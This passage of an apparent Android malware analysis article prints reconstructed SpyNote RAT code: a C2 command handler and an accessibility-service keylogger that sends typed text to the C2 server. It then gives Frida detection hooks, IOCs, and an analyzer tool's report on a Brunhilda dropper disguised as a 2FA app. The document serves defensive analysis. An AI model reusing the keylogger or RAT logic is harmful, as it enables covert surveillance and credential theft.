sendPacket(COMMAND_DEVICE_INFO, info.toString().getBytes());
}

private

void

sendPacket
(
int
command,
byte
[] data)

throws
IOException {

// Packet format: [4-byte length][1-byte command][N-byte data]
outputStream.writeInt(data.length +
1
);
outputStream.writeByte(command);
outputStream.write(data);
outputStream.flush();
}

private

void

commandLoop
()
{

while
(!socket.isClosed()) {

try
{

int

length

=
inputStream.readInt();

int

command

=
inputStream.readByte() &
0xFF
;

byte
[] data =
new

byte
[length -
1
];
inputStream.readFully(data);
handleCommand(command, data);
}
catch
(IOException e) {
reconnect();
// Automatic reconnection
}
}
}

private

void

handleCommand
(
int
command,
byte
[] data)
{

switch
(command) {

case
CMD_GET_LOCATION: sendLocation();
break
;

case
CMD_TAKE_PHOTO: takePhoto(data);
break
;

case
CMD_RECORD_AUDIO: startRecording();
break
;

case
CMD_LIST_FILES: sendFileList(data);
break
;

case
CMD_GET_FILE: sendFile(data);
break
;

case
CMD_SEND_SMS: sendSMS(data);
break
;

case
CMD_GET_CONTACTS: sendContacts();
break
;

case
CMD_START_KEYLOG: enableKeylog();
break
;

case
CMD_HIDE_ICON: hideIcon();
break
;
}
}
}

Keylogging implementation:

// SpyNote keylogger via Accessibility Events
public

class

KeylogService

extends

AccessibilityService
{
private

StringBuilder
keyBuffer =
new

StringBuilder
();

@Override

public

void

onAccessibilityEvent
(
AccessibilityEvent event
) {
int eventType = event.
getEventType
();

// TYPE_VIEW_TEXT_CHANGED fires when user types in any text field

if
(eventType ==
AccessibilityEvent
.
TYPE_VIEW_TEXT_CHANGED
) {

String
packageName =
String
.
valueOf
(event.
getPackageName
());

String
text = event.
getText
().
toString
();
long timestamp =
System
.
currentTimeMillis
();

// Log: timestamp, app, text typed

logKeystroke
(timestamp, packageName, text);
}

// TYPE_WINDOW_STATE_CHANGED fires when user switches apps

if
(eventType ==
AccessibilityEvent
.
TYPE_WINDOW_STATE_CHANGED
) {

String
packageName =
String
.
valueOf
(event.
getPackageName
());

// Record app switches for context

logAppSwitch
(packageName);
}
}

private

void

logKeystroke
(
long ts,
String
app,
String
text
) {

// Append to buffer; flush to C2 every 30 seconds
keyBuffer.
append
(
String
.
format
(
"[%d][%s]: %s\n"
, ts, app, text));

if
(keyBuffer.
length
() >
4096
) {
C2Client.
getInstance
().
send
(
CMD_KEYLOG_DATA
, keyBuffer.
toString
().
getBytes
());
keyBuffer =
new

StringBuilder
();
}
}
}

Dynamic Analysis of SpyNote

Identifying the C2 TCP connection:

# Watch for outbound TCP connections on common SpyNote ports
adb shell netstat -an
|
grep -E
"5555|7777|8888|9999"

|
grep ESTABLISHED
# Capture the TCP stream
adb shell su -c
"tcpdump -i any -w /sdcard/capture.pcap host [SUSPECTED_C2_IP]"
adb pull /sdcard/capture.pcap
# In Wireshark:
# Filter: tcp && ip.addr == [C2_IP]
# Follow TCP Stream to see the raw binary protocol
# Look for: device info JSON in first packet, then binary command frames

Frida hook for SpyNote camera access:

// Detect and log camera activation
Java.
perform
(function() {

var
CameraManager = Java.
use
(
"android.hardware.camera2.CameraManager"
);
var
openCameraOrig = CameraManager.openCamera.
overload
(

"java.lang.String"
,

"android.hardware.camera2.CameraDevice
$StateCallback
"
,

"android.os.Handler"
);
openCameraOrig.implementation =
function
(
cameraId, callback, handler
)
{
console.
log
(
"[CAMERA OPENED] Camera ID: "
+ cameraId);
console.
log
(
" Stack trace: "
+ Java.
use
(
"android.util.Log"
)
.
getStackTraceString
(Java.
use
(
"java.lang.Exception"
).
$new
()));

return
openCameraOrig.
call
(this, cameraId, callback, handler);
};

// Hook AudioRecord for microphone access

var
AudioRecord = Java.
use
(
"android.media.AudioRecord"
);

var
startRecordingOrig = AudioRecord.startRecording.
overload
();
startRecordingOrig.implementation =
function
(
)
{
console.
log
(
"[MICROPHONE STARTED]"
);
console.
log
(
" Stack trace: "
+ Java.
use
(
"android.util.Log"
)
.
getStackTraceString
(Java.
use
(
"java.lang.Exception"
).
$new
()));

return
startRecordingOrig.
call
(this);
};
});

Detecting icon hiding:

# SpyNote calls setComponentEnabledSetting to hide its icon
# Monitor PackageManager calls
adb logcat |
grep
-i
"setComponentEnabled\|COMPONENT_ENABLED_STATE"
# Frida hook for icon hiding
Java.
perform
(function() {

var
PackageManager = Java.
use
(
"android.app.ApplicationPackageManager"
);
var
setComponentOrig = PackageManager.setComponentEnabledSetting.
overload
(

"android.content.ComponentName"
,
"int"
,
"int"
);
setComponentOrig.implementation =
function
(
component, newState, flags
)
{
console.
log
(
"[ICON HIDE ATTEMPT]"
);
console.
log
(
" Component: "
+ component.
getClassName
());
console.
log
(
" New state: "
+ newState);

// newState == 2 means COMPONENT_ENABLED_STATE_DISABLED

// This hides the app icon from the launcher

return
setComponentOrig.
call
(this, component, newState, flags);
};
});

SpyNote IOCs

NETWORK INDICATORS:

Protocol:

raw

TCP

(not

HTTP)

Port:

typically

5555
,

7777
,

8888
,

or

operator-configured

C2 host:

IP

address

(no

domain



avoids

DNS-based

detection)

Initial packet:

JSON

device

info

blob

Persistent connection:

reconnects

immediately

on

disconnect
HOST INDICATORS:

Disguised package name:

fake

utility,

security

scanner,

or

VPN

Accessibility Service:

present

(keylogging)

NotificationListenerService:

present

(notification

monitoring)

Device Admin:

registered

(prevents

uninstall)

FOREGROUND_SERVICE:

runs

persistently

with

fake

service

name

Hidden icon:

launcher

component

disabled

shortly

after

install
BEHAVIORAL INDICATORS:

Outbound

TCP

connection

to

non-standard

port

immediately

after

launch

Requests

Accessibility

permission

+

Device

Admin

+

Notification

access

Hides

icon

after

permissions

granted

Camera

or

microphone

activated

without

user

interaction

Location

data

queried

on

interval

Persistent

foreground

notification

(may

be

disguised

as

system

notification)

Full report with analyzer.py:

Article image

11:09:31 (base) andrey@andrey-lab android_malware_analysis ±|main ✗|→ python analyzer.py analyze /home/andrey/git_project/android_malware_analysis/samples/sep_cerberus.apk
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ █████╗ ██╗ ██╗ ██╗███████╗██╗███████╗
██╔══██╗██╔══██╗██║ ██╔╝ ██╔══██╗████╗ ██║██╔══██╗██║ ╚██╗ ██╔╝██╔════╝██║██╔════╝
███████║██████╔╝█████╔╝ ███████║██╔██╗ ██║███████║██║ ╚████╔╝ ███████╗██║███████╗
██╔══██║██╔═══╝ ██╔═██╗ ██╔══██║██║╚██╗██║██╔══██║██║ ╚██╔╝ ╚════██║██║╚════██║
██║ ██║██║ ██║ ██╗ ██║ ██║██║ ╚████║██║ ██║███████╗██║ ███████║██║███████║
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚══════╝╚═╝╚══════╝
Android APK Analysis Tool | AI-Powered | v2.0
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Phase 1: Static Analysis
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── File Information ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ File /home/andrey/git_project/android_malware_analysis/samples/sep_cerberus.apk │
│ Size 4300.9 KB (4,404,159 bytes) │
│ MD5 0f4733a3a188ca0ddf3f730b17b23e20 │
│ SHA256 301bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ Package com.tfapasswords.app │
│ App Name SafeYourAccount │
│ Version 1.0 (1) │
│ SDK min=24 target=28 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase 2: Threat Indicator Scoring
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Threat Assessment ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Risk Level: 🔴 HIGH (77/100) │
│ │
│ [██████████████████████████████░░░░░░░░░░] │
│ │
│ Permissions: 100/100 │
│ Behavior: 100/100 │
│ Network: 0/100 │
│ Obfuscation: 15/100 │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Threat Indicators
╭────────────┬──────────────────┬────────────────────────────────────┬──────────────────────────────────────────╮
│ Severity │ Category │ Indicator │ Evidence │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous Permission: │ android.permission.SYSTEM_ALERT_WINDOW │
│ │ │ SYSTEM_ALERT_WINDOW │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Permissions │ Dangerous Permission: │ android.permission.REQUEST_INSTALL_PACK… │
│ │ │ REQUEST_INSTALL_PACKAGES │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Accessibility Service │ com.tfapasswords.app.Activities.Accessi… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious API: Window Overlay │ Landroid/view/WindowManager;
-
>
addView

│ │ │ │ (in Lb/b/p/c │
│ │ │ │ Landroid/view/WindowManager;->addView │
│ │ │ │ (in Lc/h/a/i │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ API Behavior │ Suspicious
API
: Accessibility │ Landroid/view/accessibility/Accessibili… │
│ │ │ Service │ Landroid/view/accessibility/Accessibili… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Privilege │ Root/Superuser Access Attempts │ superuser │
│ │ Escalation │ │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ HIGH │ Overlay/Keylog │ Overlay/Keylogger Strings │ overlay │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: CAMERA │ android.permission.CAMERA │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: WAKE_LOCK │ android.permission.WAKE_LOCK │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Permissions │ Dangerous
Permission
: │ android.permission.RECEIVE_BOOT_COMPLET… │
│ │ │ RECEIVE_BOOT_COMPLETED │ │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Reflection │ Ljava/lang/reflect/Field;->setAccessible │
│ │ │ │ (in Landr │
│ │ │ │ Ljava/lang/Class;->forName (in │
│ │ │ │ Landroid/support/v4 │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Location Tracking │ Landroid/location/LocationManager;->get… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ API Behavior │ Suspicious
API
: Camera Access │ Landroid/hardware/Camera$Parameters;->s… │
│ │ │ │ Landroid/hardware/Camera$Parameters;->g… │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ MEDIUM │ Obfuscation │ Code Obfuscation (
score
:
3
/
10
) │ High ratio of short class names │
│ │ │ │ (
203
/
500
) - likely │
├────────────┼──────────────────┼────────────────────────────────────┼──────────────────────────────────────────┤
│ LOW │ API Behavior │ Suspicious
API
: Cryptography │ Ljavax/crypto/Cipher;->wrap (in Lb/t/v;) │
│ │ │ │ Ljavax/crypto/spec/SecretKeySpec;-><ini… │
│ │ │ │ (in Lb/t │
╰────────────┴──────────────────┴────────────────────────────────────┴──────────────────────────────────────────╯
Permissions (
6
total)

Permission Risk
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
android.permission.CAMERA MEDIUM
android.permission.RECEIVE_BOOT_COMPLETED MEDIUM
android.permission.REQUEST_INSTALL_PACKAGES HIGH
android.permission.SYSTEM_ALERT_WINDOW HIGH
android.permission.WAKE_LOCK MEDIUM
android.permission.INTERNET INFO

Network IOCs

Type Value
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Domain github.com
Domain schemas.android.com
URL
https
:
//github.com/mikepenz/FastAdapter/blob/develop/library-core/src/main/java/
URL
http
:
//schemas.android.com/apk/res-auto
URL
http
:
//schemas.android.com/apk/res/android

Semantic Component Analysis (
3
findings)

Severity Component Capability MITRE Name
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CRITICAL service Accessibility Service Abuse T1417 AccessibilityService
HIGH string Webinject/Overlay Terms T1417 Overlay
HIGH string Root/Superuser Access T1626 superuser

Rule-based family
inference
: Banking Trojan / RAT (
confidence
:
50%
)
Phase
2
c
: VirusTotal Lookup
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── VirusTotal Report ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ Detection
32
/
76
(
32
malicious,
0
suspicious,
35
clean) │
│ Threat Label trojan.brunhilda/andr │
│ Families brunhilda, andr, fimk │
│ File Type Android │
│ Common Name
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.apk │
│ First Seen
2020
-
10
-
03

│ Last Analyzed
2025
-
11
-
10

│ Submissions
15
submissions /
13
unique sources │
│ Tags [reflection] [apk] [obfuscated] [android] [telephony] [checks-gps] │
│ VT Link
https
:
//www.virustotal.com/gui/file/301bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Submitted As ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.apk |
0
f4733a3a188ca0ddf3f730b17b23e20.apk | SafeYourAccount.apk |
0
f4733a3a188ca0ddf3f730b17b23e20 (
1
).apk | sep_cerberus.apk |
60
df2725b2b20f64dd47ecc29c678abda86d41ee.apk | │

301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f.bin |
0
f4733a3a188ca0ddf3f730b17b23e20.virus │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
AV Engine Detections —
32
malicious /
0
suspicious /
76
total
╭──────────────────────┬────────────────────────────────────────────────┬──────────────╮
│ Engine │ Detection Name │ Verdict │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avast │
Android
:Brunhilda-A [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ DrWeb │ Android.DownLoader.
5078
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ ESET-NOD32 │ a variant of Android/TrojanDownloader.Agent.SU │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ F-Secure │ Malware.ANDROID/Agent.FIMK.Gen │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Fortinet │ Android/Agent.SU!tr │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Kaspersky │
HEUR
:Trojan-Downloader.AndroidOS.Agent.kf │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Sophos │ Andr/Xgen-AOV │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Symantec │ Trojan.Gen.
2
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ AVG │
Android
:Brunhilda-A [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ AhnLab-V3 │ PUP/Android.Agent.
1015709
│ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Alibaba │
TrojanDownloader
:Android/Agent.
653271
b4 │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avast-Mobile │
Android
:Brunhilda-C [Drp] │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Avira │ ANDROID/Agent.FIMK.Gen │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ BitDefenderFalx │ Android.Trojan.Brunhilda.A │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ CAT-QuickHeal │ Android.Banker.Q │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ CTX │ apk.trojan.brunhilda │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Cynet │ Malicious (
score
:
99
) │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Google │ Detected │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ Ikarus │ Trojan-Downloader.AndroidOS.Agent │ MALICIOUS │
├──────────────────────┼────────────────────────────────────────────────┼──────────────┤
│ K7GW │ Trojan-Downloader (
0056
f8d71 ) │ MALICIOUS │
╰──────────────────────┴────────────────────────────────────────────────┴──────────────╯
Phase
3
: YARA Scanning

YARA
:
1

rule
(s) matched
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Rule
: BankingTrojan_Cerberus │

Desc
: Cerberus/Alien banking trojan - accessibility + clipboard hijack + crypto │

Category
: Banking Trojan │

MITRE
: T1417 │

Matched
: AccessibilityService, ClipboardManager, setPrimaryClip │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Phase
4
: AI Analysis (Claude/claude-opus-
4
-
6
)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── AI Analysis Results ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

Classification
: Dropper |
Family
: Brunhilda |
Confidence
: High │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Executive Summary ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ This is a Brunhilda dropper disguised as a two-factor authentication (
2
FA) app called
'SafeYourAccount'
. Brunhilda is a Dropper-as-a-Service (DaaS) operation that wraps legitimate open-source apps with malicious dropper functionality to deliver second-stage banking trojans (commonly Alien/Cerberus variants). │
│ With
32
/
76
VirusTotal detections explicitly naming
'Brunhilda'

and

'TrojanDownloader'
,
and
capabilities including overlay attacks, accessibility service abuse,
and
package installation, this sample poses a critical threat to any user who installs it — particularly those targeted for banking credential theft via │
│ the dropped payload. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Technical Analysis ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ The package
'com.tfapasswords.app'
masquerades as a legitimate
2
FA/TOTP authenticator application. The app name
'SafeYourAccount'
is a classic social engineering lure — users seeking to protect their accounts ironically install malware. The package appears to be a trojanized version of the open-source
'andOTP'


or
similar TOTP app, as evidenced by legitimate components like barcode scanning (journeyapps.barcodescanner.CaptureActivity), material intro screens (heinrichreimersoftware.materialintro),
and
the AboutLibraries library (mikepenz.aboutlibraries). This is a hallmark of Brunhilda
operations
: wrapping legitimate │
│ apps with dropper capabilities to pass initial review. │
│ │
│ The Brunhilda dropper's primary mechanism relies on three critical permissions working in
concert
: SYSTEM_ALERT_WINDOW for overlay-based social engineering to trick users into granting permissions, REQUEST_INSTALL_PACKAGES to sideload the second-stage payload (typically an Alien/Cerberus banking trojan),
and
the │
│ AccessibilityService (com.tfapasswords.app.Activities.AccessibilityService) to automate permission grants
and
interact with the installation UI. The AccessibilityService
's onServiceConnected() method references '
alarm' strings, indicating it sets up recurring scheduled tasks — likely polling for payload delivery │

or
C2 instructions. The YARA match for Cerberus/Alien is consistent with Brunhilda's known payload families. │
│ │
│ The certificate claims to be from
'Google Inc.'
(CN=Android, O=Google Inc., L=Mountain View) but is self-signed — a trivial but effective deception against casual inspection. This fake Google certificate is a well-documented Brunhilda indicator. The obfuscation is light (ProGuard-level, score
3
/
100
) with
203
/
500

│ short class names, which is typical of Brunhilda samples that rely more on the legitimate app wrapper than heavy obfuscation for evasion. Obfuscated classes like Lb/b/k/r (location tracking), Lb/b/p/c1 (window overlay),
and
Lc/h/a/i/e (window overlay) contain the malicious functionality. │
│ │
│ The network IOC surface is deliberately clean in static analysis — no hardcoded C2 URLs,
only
references to github.com (from the legitimate library)
and
Android schema namespaces. This is expected for
Brunhilda
: the C2 configuration is either fetched dynamically after installation
or
embedded in encrypted │
│ preferences (note the
'PasswordEncryptedPreference'
class). The BootBroadcastReceiver ensures persistence across reboots, while the EncryptedBackupBroadcastReceiver
and
PlainTextBackupBroadcastReceiver likely handle encrypted configuration
or
payload storage rather than legitimate backup functionality. The │

'superuser'
string reference
and
root/superuser semantic finding (T1626) suggest the dropper may attempt privilege escalation on rooted devices. │
│ │
│ DrWeb
's detection as '
Android.DownLoader.
5078
' and Kaspersky'
s
'Trojan-Downloader.AndroidOS.Agent.kf'
confirm the primary function is downloading
and
installing a second-stage payload. ESET
's '
Android/TrojanDownloader.Agent.SU' corroborates this classification. The Brunhilda DaaS infrastructure typically uses │
│ Telegram channels
or
encrypted cloud storage for payload hosting, making static C2 extraction difficult. │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Primary Capabilities ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ │
│ ► Second-stage payload downloading
and
installation (Dropper-as-a-Service) │
│ ► Accessibility Service abuse for automated UI interaction
and
permission escalation │
│ ► Overlay/SYSTEM_ALERT_WINDOW for social engineering
and
phishing │
│ ► Boot persistence via BroadcastReceiver │
│ ► Location tracking for geofencing/victim profiling │
│ ► Camera access for potential surveillance │
│ ► Encrypted preference storage for configuration/C2 data │
│ ► Legitimate
2
FA app functionality as cover │
│ │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯

ID Technique Tactic Relevance
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
T1417 Input Capture Collection AccessibilityService (com.tfapasswords.app.Activities.Access
T1626 Abuse Elevation Control Privilege Escalation Semantic finding of
'superuser'
string indicates root/privil
Mechanism
T1407 Download New Code at Runtime Defense Evasion Primary dropper function — REQUEST_INSTALL_PACKAGES permissi
T1406 Obfuscated Files
or
Defense Evasion ProGuard obfuscation (
203
/
500
short class names), encrypted
Information
T1430 Location Tracking Collection LocationManager.getLastKnownLocation called in obfuscated cl
T1398 Boot
or
Logon Initialization Persistence BootBroadcastReceiver (com.tfapasswords.app.Receivers.BootBr
Scripts
T1444 Masquerade as Legitimate Defense Evasion Trojanized
2
FA authenticator app with working functionality;
Application
T1411 Input Prompt Credential Access SYSTEM_ALERT_WINDOW + WindowManager.addView overlay attacks
T1512 Video Capture Collection CAMERA permission requested — potential for covert photo/vid

╭───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── IOCs for Threat Hunting ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ •
sha256
:
301
bacdc7163c5494bcbd165c3571659175b355c5ef640277d3929ea280e937f │
│ •
md5
:
0
f4733a3a188ca0ddf3f730b17b23e20 │
│ •
package
:com.tfapasswords.app │
│ •
app_name
:SafeYourAccount │
│ •
cert_sha256
:
2
c8c03d8c0b8c18c9f33c88d8647471ab4d426b0d4f7ff2ed61dd1ad94d50415 │
│ •
service
:com.tfapasswords.app.Activities.AccessibilityService │
│ •
receiver
:com.tfapasswords.app.Receivers.BootBroadcastReceiver │
│ •
receiver
:com.tfapasswords.app.Receivers.EncryptedBackupBroadcastReceiver │
│ •
receiver
:com.tfapasswords.app.Receivers.PlainTextBackupBroadcastReceiver │
│ •
cert_cn_spoof
:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Remediation Steps ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

1
.
1
. Immediately uninstall
'SafeYourAccount'
(com.tfapasswords.app) from the device │

2
.
2
. Check Settings → Accessibility → Installed Services
and
disable/remove any suspicious accessibility services │

3
.
3
. Review Settings → Apps for any recently installed unknown applications that may be the dropped second-stage payload │

4
.
4
. Change all banking
and
financial account passwords from a separate, clean device │

5
.
5
. Contact your bank to report potential compromise
and
request enhanced monitoring/new credentials │

6
.
6
. If the app was used as a
2
FA authenticator, re-enroll all
2
FA tokens from a clean device — the attacker may have captured TOTP seeds │

7
.
7
. Factory reset the device if a second-stage payload was installed, as it may have deeper persistence │

8
.
8
. Enable Google Play Protect
and

only
install apps from the official Google Play Store │

9
.
9
. Report the sample SHA256 to your organization's SOC
and
threat intelligence platform │

10
.
10
. Monitor bank accounts
and
credit reports for unauthorized activity for at least
90
days │
╰───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── Frida Hooks for Dynamic Analysis ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮

1

// Brunhilda Dropper Analysis - Frida Hook Script │

2

// Target: com.tfapasswords.app (SafeYourAccount / Brunhilda DaaS) │

3

// Purpose: Intercept dropper behavior, payload download, overlay attacks, accessibility abuse │

4


5
Java.
perform
(
function
() { │

6
console.
log
(
'[*] Brunhilda Dropper Frida Hooks Loaded'
); │

7
console.
log
(
'[*] Target: com.tfapasswords.app'
); │

8


9

// ========== HOOK 1: AccessibilityService Lifecycle ========== │

10

// Captures when the malicious AccessibilityService activates and processes events │

11
try { │

12
var AccessibilityService = Java.
use
(
'com.tfapasswords.app.Activities.AccessibilityService'
); │

13


14
AccessibilityService.onServiceConnected.implementation =
function
() { │

15
console.
log
(
'[CRITICAL] AccessibilityService.onServiceConnected() called - dropper activating!'
); │

16
console.
log
(
'[CRITICAL] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

17
this.
onServiceConnected
(); │

18
}; │

19


20
AccessibilityService.onAccessibilityEvent.implementation =
function
(event) { │

21
if (event != null) { │

22
console.
log
(
'[ACCESSIBILITY] Event Type: '
+ event.
getEventType
()); │

23
console.
log
(
'[ACCESSIBILITY] Package: '
+ event.
getPackageName
()); │

24
console.
log
(
'[ACCESSIBILITY] Class: '
+ event.
getClassName
()); │

25
console.
log
(
'[ACCESSIBILITY] Text: '
+ event.
getText
()); │

26
} │

27
this.
onAccessibilityEvent
(event); │

28
}; │

29
console.
log
(
'[+] Hooked AccessibilityService'
); │

30
}
catch
(e) { │

31
console.
log
(
'[-] AccessibilityService hook failed: '
+ e); │

32
} │

33


34

// ========== HOOK 2: Package Installation (Payload Delivery) ========== │

35

// Captures the dropper installing second-stage banking trojan │

36
try { │

37
var Intent = Java.
use
(
'android.content.Intent'
); │

38
Intent.setAction.implementation =
function
(action) { │

39
if (action && (action.
indexOf
(
'INSTALL'
) !== -
1
|| action.
indexOf
(
'PACKAGE'
) !== -
1
)) { │

40
console.
log
(
'[DROPPER] Intent.setAction: '
+ action); │

41
console.
log
(
'[DROPPER] Stack: '
+ Java.
use
(
'android.util.Log'
).
getStackTraceString
(Java.
use
(
'java.lang.Exception'
).$
new
())); │

42
} │

43
return this.
setAction
(action); │

44
}; │

45


46
var PackageInstaller = Java.
use
(
'android.content.pm.PackageInstaller'
); │

47
PackageInstaller.createSession.implementation =
function
(params) { │

48
console.
log
(
'[DROPPER] PackageInstaller.createSession called!'
); │

49
console.
log
(
'[DROPPER] Install reason - potential second-stage payload delivery'
